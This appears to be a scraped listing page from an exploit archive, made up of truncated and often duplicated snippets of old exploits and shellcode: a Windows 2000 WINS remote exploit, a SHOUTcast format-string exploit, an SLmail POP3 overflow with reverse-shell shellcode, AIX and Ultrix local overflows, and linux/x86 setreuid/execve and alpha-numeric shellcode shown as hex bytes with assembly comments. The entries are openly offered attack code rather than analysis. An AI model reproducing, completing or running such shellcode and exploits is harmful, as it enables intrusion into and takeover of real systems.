MS Windows 2000 WINS Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ================================================== MS Windows 2000 WINS Remote Code Execution Exploit ================================================== // / ZUCWins 0.1 - Wins 2000 remote root exploit / / Exploit by: zuc / / works on Windo...

linux/x86 setreuid/execve 31 bytes

linux/x86 setreuid/execve 31 bytes. Shellcode exploit for linx86 platform / 31 byte setreuid shellcode - man shadow os: Slackware 9.1, Phlak 2.4, Knoppix 0.1 www.manshadow.org [email protected] irc.efnet.net manshadow / char shellcode = "\x31\xC9" / xor ecx,ecx / "\x31\xDB" / xor ebx,ebx /...

linux/x86 setreuid/execve 31 bytes

No description provided by source. / 31 byte setreuid shellcode - man shadow os: Slackware 9.1, Phlak 2.4, Knoppix 0.1 www.manshadow.org [email protected] irc.efnet.net manshadow / char shellcode = "\x31\xC9" / xor ecx,ecx / "\x31\xDB" / xor ebx,ebx / "\x6A\x46" / push byte 70 / "\x58" / pop eax...

linux/x86 setreuid/execve 31 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 setreuid/execve 31 bytes ================================== / 31 byte setreuid shellcode - man shadow os: Slackware 9.1, Phlak 2.4, Knoppix 0.1 www.manshadow.org email protected irc.efnet.net manshad...

SHOUTcast DNAS/Linux 1.9.4 Format String Remote Exploit

Exploit for linux platform in category remote exploits ======================================================= SHOUTcast DNAS/Linux 1.9.4 Format String Remote Exploit ======================================================= / SHOUTcast DNAS/Linux v1.9.4 format string remote exploit / / Damian Put...

SHOUTcast DNASLinux 1.9.4 - Format String Remote Overflow

SHOUTcast DNASLinux 1.9.4 - Format String Remote Overflow / SHOUTcast DNAS/Linux v1.9.4 format string remote exploit / / Damian Put Cyber-Crime Team www.CC-Team.org / / Tested on slackware 9.1 and 10.0 0xbf3feee0 / / When exploit only crash SHOUTcast we should calculate new address: / / / /...

SHOUTcast DNAS/Linux 1.9.4 - Format String Remote Overflow

/ SHOUTcast DNAS/Linux v1.9.4 format string remote exploit / / Damian Put Cyber-Crime Team www.CC-Team.org / / Tested on slackware 9.1 and 10.0 0xbf3feee0 / / When exploit only crash SHOUTcast we should calculate new address: / / / / bash-2.05b$ gdb scserv core / / ... / / gdb x/x $edi / /...

linux/x86 Radically Self Modifying Code 70 bytes

Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 Radically Self Modifying Code 70 bytes ================================================ /-------------------------------------------------------/ / Radically Self Modifying Code for...

Exploit for Ultrix 4.5 dxterm

Well, I hadn't seen a buffer overflow exploit for ultrix on bugtraq, so I decided to make one. I don't think anyone is using ultrix seriously anymore, so this is just for fun ;. -- cut here -- / Ultrix 4.5/MIPS dxterm exploit by ztion in 2004 Greets to: Stok, sidez It wasn't possible to use '/' i...

linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes

No description provided by source. /-----------------------------------------------------/ / Alpha-Numeric Shellcode using IMUL Method / / By XORt@dallas2600 88bytes / /-----------------------------------------------------/ "\x68\x69\x58\x69\x6b" / push $0x6b695869 / "\x68\x7a\x36\x37\x70" / push...

linux/x86 alpha-numeric shellcode 64 bytes

No description provided by source. /--------------------------------------/ / 64 byte alpha-numeric shellcode / / by XORt@dallas2600 64bytes / /--------------------------------------/ "\x6a\x30" / pushb $0x30 / "\x58" / pop %eax / "\x34\x30" / xorb $0x30, %al / "\x50" / push %eax / "\x5a" / pop...

linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes

linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes. Shellcode exploit for linx86 platform /-----------------------------------------------------/ / Alpha-Numeric Shellcode using IMUL Method / / By XORt@dallas2600 88bytes / /-----------------------------------------------------/...

linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes

Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes ============================================================ /-----------------------------------------------------/ /...

linux/x86 alpha-numeric shellcode 64 bytes

linux/x86 alpha-numeric shellcode 64 bytes. Shellcode exploit for linx86 platform /--------------------------------------/ / 64 byte alpha-numeric shellcode / / by XORt@dallas2600 64bytes / /--------------------------------------/ "\x6a\x30" / pushb $0x30 / "\x58" / pop %eax / "\x34\x30" / xorb...

linux/x86 alpha-numeric shellcode 64 bytes

Exploit for linux/x86 platform in category shellcode ========================================== linux/x86 alpha-numeric shellcode 64 bytes ========================================== /--------------------------------------/ / 64 byte alpha-numeric shellcode / / by email protected2600 64bytes /...

Seattle Lab Mail (SLmail) 5.5 - POP3 PASS Remote Buffer Overflow (2)

Seattle Lab Mail SLmail 5.5 - POP3 PASS Remote Buffer Overflow 2 include include include include include include include include include include define retadd "\x9f\x45\x3a\x77" /win2k server sp4 0x773a459f/ define port 110 / revshell العراق القراصنة المجموعة/ char shellcode =...

AIX 5.1 5.3 - paginit Local Stack Overflow

AIX 5.1 5.3 - paginit Local Stack Overflow / exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart / define RETADDR 0x2ff22c90 char shellcode = "\x7c\xa5\x2a\x79"...

Ultrix 4.5MIPS - dxterm 0 Local Buffer Overflow

Ultrix 4.5MIPS - dxterm 0 Local Buffer Overflow / Ultrix 4.5/MIPS dxterm exploit by ztion in 2004 Greets to: Stok, sidez It wasn't possible to use '/' in the shellcode. Probably dxterm only copies everything after the last slash, as it expects a path. Since everything is pretty much hardcoded, yo...

Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit

Exploit for ultrix platform in category local exploits ==================================================== Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit ==================================================== / Ultrix 4.5/MIPS dxterm exploit by ztion in 2004 Greets to: Stok, sidez It wasn't...

Ultrix 4.5/MIPS - dxterm 0 Local Buffer Overflow

/ Ultrix 4.5/MIPS dxterm exploit by ztion in 2004 Greets to: Stok, sidez It wasn't possible to use '/' in the shellcode. Probably dxterm only copies everything after the last slash, as it expects a path. Since everything is pretty much hardcoded, you will probably have to tweak it for versions...